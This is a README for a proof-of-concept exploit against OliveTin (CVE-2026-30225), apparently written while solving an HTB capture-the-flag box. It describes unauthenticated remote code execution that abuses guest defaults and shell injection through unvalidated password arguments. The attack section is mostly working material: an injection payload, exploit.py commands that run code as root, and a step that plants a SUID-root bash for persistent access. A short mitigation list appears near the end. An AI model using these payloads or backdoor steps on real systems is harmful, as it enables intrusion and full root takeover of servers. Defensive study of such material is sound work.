
Proof-of-concept exploit for OliveTin unauthenticated RCE (CVE-2026-30225) via insecure guest defaults and unvalidated argument types, enabling root shell on vulnerable instances.
PoC for privilege escalation / remote code execution against OliveTin instances that run with the shipped guest defaults. Verified against OliveTin 3000.10.0 running as root (HTB: Enigma), where it yields an unauthenticated root shell.
⚠️ Authorised testing only. Published for education, CTF play, and defensive research. Using this against systems you do not own or have explicit written permission to test is illegal. No warranty. See LICENSE.
OliveTin's example / default config ships:
authRequireGuestsToLogin: false
defaultPermissions: { view: true, exec: true, logs: true }
With this, an unauthenticated caller (WhoAmI → "guest") can invoke
StartActionAndWait and run any action. Actions execute as the OliveTin
process user — frequently root.
internal/executor/arguments.go → TypeSafetyCheck():
case "password": return nil
case "raw_string_multiline": return nil
case "checkbox": return nil
These types are not validated at all. Any action whose shell: template
interpolates such an argument is a shell-injection sink. On Enigma the live
/etc/OliveTin/config.yaml contains:
- id: backup_database
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
arguments:
- { name: db_user, type: ascii_identifier }
- { name: db_pass, type: password } # <-- unvalidated, sits inside -p'...'
- { name: db_name, type: ascii_identifier }
db_pass = x'; <cmd>; echo __OT_DONE__ # closes the -p'…' quote, chains
<cmd>, and # comments the trailing ' <db_name> > /opt/backups/backup.sql.
A + B against a root OliveTin = unauthenticated RCE as root.
RestartAction auth-context dropRestartAction rebuilds the internal request without carrying the caller's auth
headers/cookies, so a re-run always resolves to the guest user (ACL bypass
when guest is more privileged than the caller). Fixed in 3000.11.1.
On builds ≤ 3000.10.x the handler is additionally half-implemented (// FIXME)
and forwards an empty BindingId, so it just returns
action with ID "" not found and cannot re-execute anything. test-restart
reports what the target actually does. On Enigma this path is a no-op — issues
A + B are what give code execution.
requests — pip install -r requirements.txt127.0.0.1:1337; tunnel/pivot as
needed — on Enigma only uid 1000 may reach the port)../exploit.py -u http://127.0.0.1:1337 <mode>
modes:
check identity, action list, injectable args, CVE-2026-30225 status
test-restart probe the RestartAction behaviour only
exploit --action <id> [--set NAME=VALUE ...] [--inject NAME --quote {single,double,none} --cmd '<cmd>']
global:
--cookie 'olivetin-sid-local=...' act as an authenticated local user (optional)
# recon
./exploit.py -u http://127.0.0.1:1337 check
# HTB Enigma: run a command as root
./exploit.py -u http://127.0.0.1:1337 exploit \
--action backup_database --set db_user=root --set db_name=x \
--inject db_pass --quote single --cmd 'id; hostname; cat /root/root.txt'
# drop a SUID-root bash for a persistent shell
./exploit.py -u http://127.0.0.1:1337 exploit \
--action backup_database --set db_user=root --set db_name=x \
--inject db_pass --quote single --cmd 'cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb'
# then: /tmp/rb -p
StartActionAndWait returns the command's stdout in logEntry.output, so the
output (flag, uid=0(root), …) comes straight back in the response.
check lists every visible action and flags those whose arguments use a
no-validation type. Pick one, work out how the argument is quoted in its
shell: string (--quote single|double|none), then exploit --inject <arg> --cmd '<payload>'. Actions not shown on any dashboard can still be run by ID
(--action <id>).
authRequireGuestsToLogin: true and remove exec from the guest/default
permissions; give each ACL the minimum it needs.user: where supported).type;
avoid interpolating arguments into shell: strings — prefer exec: argv form
and quote/validate rigorously.RestartAction runs actions as guestinternal/executor/arguments.go (TypeSafetyCheck), internal/api/api.go (RestartAction, StartAction)Research & PoC while rooting HTB: Enigma (www-data → haris → OliveTin → root).